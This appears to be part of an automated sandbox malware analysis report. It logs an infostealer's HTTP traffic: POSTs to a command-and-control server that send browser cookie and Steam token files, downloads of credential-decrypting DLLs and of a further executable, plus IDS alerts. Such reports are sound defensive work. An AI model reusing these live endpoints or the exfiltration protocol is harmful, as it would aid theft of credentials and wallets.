Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="message"browsers------BFCGDAAKFHIDBFIDBKFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 2d 2d 0d 0a Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="message"plugins------ECGHJJEHDHCAAKFIIDGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 48 43 46 49 4a 44 41 41 4b 46 48 4a 4a 44 48 2d 2d 0d 0a Data Ascii: ------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------JKECGHCFIJDAAKFHJJDHContent-Disposition: form-data; name="message"fplugins------JKECGHCFIJDAAKFHJJDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHDHJEBGHJKFIECBGCHost: 185.215.113.206Content-Length: 6087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 2d 2d 0d 0a Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------ECFCBFBGDBKJKECAAKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file"------IDAEHCFHJJJJECAAFBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file"------IDHJEBGIEBFIJKEBFBFH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"wallets------DAKJDAAFBKFHIEBFCFBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="message"files------GHDAAKJEGCFCAKEBKJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file"------BAKKEGCAAECAAAKFBGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="message"ybncbhylepme------GIJJKFCGDGHDHIECGCBK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJJJECFIECBGDGCAAAEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49760 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49885 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_0050E0C0 recv,recv,recv,recv,

25_2_0050E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
